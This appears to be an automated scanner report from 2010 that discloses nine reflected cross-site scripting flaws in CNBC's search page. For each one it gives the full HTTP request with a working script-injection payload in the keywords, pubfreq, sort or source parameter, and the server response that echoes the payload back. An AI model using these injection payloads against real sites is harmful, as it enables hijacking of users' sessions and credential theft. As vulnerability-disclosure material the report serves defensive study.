Hoyt LLC | PRIVATE REPORT | Cross Site Scripting

Fingerprinted Novermber 12, 2010 in http://search.cnbc.com

Report generated by XSS.CX at Fri Nov 12 17:16:55 CST 2010.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://search.cnbc.com/main.do [keywords parameter]

1.2. http://search.cnbc.com/main.do [keywords parameter]

1.3. http://search.cnbc.com/main.do [keywords parameter]

1.4. http://search.cnbc.com/main.do [keywords parameter]

1.5. http://search.cnbc.com/main.do [pubfreq parameter]

1.6. http://search.cnbc.com/main.do [pubfreq parameter]

1.7. http://search.cnbc.com/main.do [sort parameter]

1.8. http://search.cnbc.com/main.do [sort parameter]

1.9. http://search.cnbc.com/main.do [source parameter]



1. Cross-site scripting (reflected)
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://search.cnbc.com/main.do [keywords parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the keywords request parameter is copied into the HTML document as text between TITLE tags. The payload e7542</title><script>alert(1)</script>04049d10894af4515 was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /main.do?target=all&keywords=%60e7542</title><script>alert(1)</script>04049d10894af4515&categories=exclude&searchboxinput=%60 HTTP/1.1
Host: search.cnbc.com
Proxy-Connection: keep-alive
Referer: http://www.cnbc.com/
Cache-Control: max-age=0
Origin: http://www.cnbc.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; s_cc=true; s_sq=%5B%5BB%5D%5D; s_nr=1289590864999

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:37 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 69685
X-Aicache-OS: 64.210.193.49:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:37 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, `e7542</title><sc
...[SNIP]...
<title>`e7542</title><script>alert(1)</script>04049d10894af4515 - CNBC</title>
...[SNIP]...

1.2. http://search.cnbc.com/main.do [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the keywords request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a640d</script><script>alert(1)</script>1fdabcf86946345c4 was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main.do?target=all&keywords=%60a640d</script><script>alert(1)</script>1fdabcf86946345c4&categories=exclude&searchboxinput=%60 HTTP/1.1
Host: search.cnbc.com
Proxy-Connection: keep-alive
Referer: http://www.cnbc.com/
Cache-Control: max-age=0
Origin: http://www.cnbc.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; s_cc=true; s_sq=%5B%5BB%5D%5D; s_nr=1289590864999

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:33 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 69689
X-Aicache-OS: 64.210.195.17:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:33 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, `a640d</script><s
...[SNIP]...
<script>

keyWordParam = "`a640d</script><script>alert(1)</script>1fdabcf86946345c4";
keyWordParam = keyWordParam.replace(/&quot;/g,'"');
document.getElementById('txtBox').value = keyWordParam;

</script>
...[SNIP]...

1.3. http://search.cnbc.com/main.do [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the keywords request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72b84</script><script>alert(1)</script>79735e30901 was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main.do?target=all&keywords=%6072b84</script><script>alert(1)</script>79735e30901&categories=exclude HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:28 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 69665
X-Aicache-OS: 64.210.193.49:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:28 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, `72b84</script><s
...[SNIP]...
<script>

keyWordParam = "`72b84</script><script>alert(1)</script>79735e30901";
keyWordParam = keyWordParam.replace(/&quot;/g,'"');
document.getElementById('txtBox').value = keyWordParam;

</script>
...[SNIP]...

1.4. http://search.cnbc.com/main.do [keywords parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the keywords request parameter is copied into the HTML document as text between TITLE tags. The payload 5b11d</title><script>alert(1)</script>c6398fc2bd9 was submitted in the keywords parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main.do?target=all&keywords=%605b11d</title><script>alert(1)</script>c6398fc2bd9&categories=exclude HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:30 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 69661
X-Aicache-OS: 64.210.195.17:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:30 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, `5b11d</title><sc
...[SNIP]...
<title>`5b11d</title><script>alert(1)</script>c6398fc2bd9 - CNBC</title>
...[SNIP]...

1.5. http://search.cnbc.com/main.do [pubfreq parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the pubfreq request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8065e"><script>alert(1)</script>0eac3633508 was submitted in the pubfreq parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main.do?keywords=Google&sort=relevance&minimumrelevance=0.2&source=%28The%20Associated%20Press%20OR%20Reuters%20OR%20AFX%20OR%20The%20New%20York%20Times%20OR%20CNBC.COM%29&layout=NoPic&pubtime=24&pubfreq=h8065e"><script>alert(1)</script>0eac3633508 HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:41 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 85560
X-Aicache-OS: 64.210.193.49:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:41 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, Google">
<meta na
...[SNIP]...
words" type="text" style="width:100px" height="22px" class="search_input" onkeypress="javascript: return cnbc_searchbox_submitenter(document.getElementById('txtBox').value,'relevance',formatParam,24,'h8065e"><script>alert(1)</script>0eac3633508',event);" maxlength="100"/>
...[SNIP]...

1.6. http://search.cnbc.com/main.do [pubfreq parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the pubfreq request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83c96"%3balert(1)//12caa656a57 was submitted in the pubfreq parameter. This input was echoed as 83c96";alert(1)//12caa656a57 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main.do?keywords=Google&sort=relevance&minimumrelevance=0.2&source=%28The%20Associated%20Press%20OR%20Reuters%20OR%20AFX%20OR%20The%20New%20York%20Times%20OR%20CNBC.COM%29&layout=NoPic&pubtime=24&pubfreq=h83c96"%3balert(1)//12caa656a57 HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:42 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 85305
X-Aicache-OS: 64.210.193.49:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:42 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, Google">
<meta na
...[SNIP]...
<script>
search_GetPagination_Clientside(2619,search_PagLinks,linksdisplay,keyWordParam,1,"relevance",formatParam,24,"h83c96";alert(1)//12caa656a57");
display_searchPageResults(2619,10,1,keyWordParam);
</script>
...[SNIP]...

1.7. http://search.cnbc.com/main.do [sort parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the sort request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d239"%3balert(1)//f9a4336f594 was submitted in the sort parameter. This input was echoed as 1d239";alert(1)//f9a4336f594 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main.do?keywords=Google&sort=relevance1d239"%3balert(1)//f9a4336f594&minimumrelevance=0.2&source=%28The%20Associated%20Press%20OR%20Reuters%20OR%20AFX%20OR%20The%20New%20York%20Times%20OR%20CNBC.COM%29&layout=NoPic&pubtime=24&pubfreq=h HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:38 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 85491
X-Aicache-OS: 64.210.195.17:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:38 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, Google">
<meta na
...[SNIP]...
<script>
search_GetPagination_Clientside(18,search_PagLinks,linksdisplay,keyWordParam,1,"relevance1d239";alert(1)//f9a4336f594",formatParam,24,"h");
display_searchPageResults(18,10,1,keyWordParam);
</script>
...[SNIP]...

1.8. http://search.cnbc.com/main.do [sort parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the sort request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50434"><script>alert(1)</script>5d8cb459191 was submitted in the sort parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main.do?keywords=Google&sort=relevance50434"><script>alert(1)</script>5d8cb459191&minimumrelevance=0.2&source=%28The%20Associated%20Press%20OR%20Reuters%20OR%20AFX%20OR%20The%20New%20York%20Times%20OR%20CNBC.COM%29&layout=NoPic&pubtime=24&pubfreq=h HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:36 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 85866
X-Aicache-OS: 64.210.195.17:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:37 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, Google">
<meta na
...[SNIP]...
="txtBox" name="keywords" type="text" style="width:100px" height="22px" class="search_input" onkeypress="javascript: return cnbc_searchbox_submitenter(document.getElementById('txtBox').value,'relevance50434"><script>alert(1)</script>5d8cb459191',formatParam,24,'h',event);" maxlength="100"/>
...[SNIP]...

1.9. http://search.cnbc.com/main.do [source parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.cnbc.com
Path:   /main.do

Issue detail

The value of the source request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4d047'%3balert(1)//031ae957c23 was submitted in the source parameter. This input was echoed as 4d047';alert(1)//031ae957c23 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /main.do?keywords=Google&sort=relevance&minimumrelevance=0.2&source=%28The%20Associated%20Press%20OR%20Reuters%20OR%20AFX%20OR%20The%20New%20York%20Times%20OR%20CNBC.COM%294d047'%3balert(1)//031ae957c23&layout=NoPic&pubtime=24&pubfreq=h HTTP/1.1
Host: search.cnbc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; TZM=-360; s_nr=1289590874659; s_sq=%5B%5BB%5D%5D; __qca=P0-1082571395-1289590021769;

Response

HTTP/1.1 200 OK
Date: Fri, 12 Nov 2010 13:43:39 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Content-Type: text/html
Via: 1.1 C aicache6
Content-Length: 84825
X-Aicache-OS: 64.210.195.17:80
Connection: close
Expires: Fri, 12 Nov 2010 13:53:39 GMT

<html>
<head>
<!-- Adding velocity template for meta tags -->

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="description" content="CNBC Search, Google">
<meta na
...[SNIP]...
<script>
var layoutParam;
formatParam ='source'+'=';
formatValue = '(The Associated Press OR Reuters OR AFX OR The New York Times OR CNBC.COM)4d047';alert(1)//031ae957c23';
layoutParam ='&layout'+'=';
formatParam = '&'+formatParam + formatValue+layoutParam+'NoPic';
</script>
...[SNIP]...

Report generated by XSS.CX at Fri Nov 12 17:16:55 CST 2010.